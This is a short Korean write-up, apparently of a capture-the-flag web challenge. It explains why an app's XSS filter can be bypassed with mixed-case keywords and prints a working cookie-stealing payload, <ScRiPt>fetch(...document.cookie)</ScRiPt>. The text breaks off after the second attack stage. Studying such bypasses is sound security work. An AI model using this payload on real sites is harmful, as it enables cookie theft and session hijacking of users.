
먼저 문제파일 속 app.py를 살펴본다.
그 중에서도 코드에서 xss의 취약점을 보자.
def xss_filter(text):
_filter = ["script", "on", "javascript:"]
for f in _filter:
if f in text.lower():
text = text.replace(f, "")
return text
=> 대소문자가 섞인 키워드는 감지는 되지만 제거되지 않는다. (원본에도 있어야 함.)
즉, 전체 시나리오는 이러하다.
<상황>
<공격 단계>
1단계: 악성 코드 준비
<ScRiPt>fetch('/memo?memo='+document.cookie)</ScRiPt>
2단계: 필터 통과
필터는 "script"를 찾지만, "ScRiPt"는 원본에 "script"가 없어 제거되지 않는다.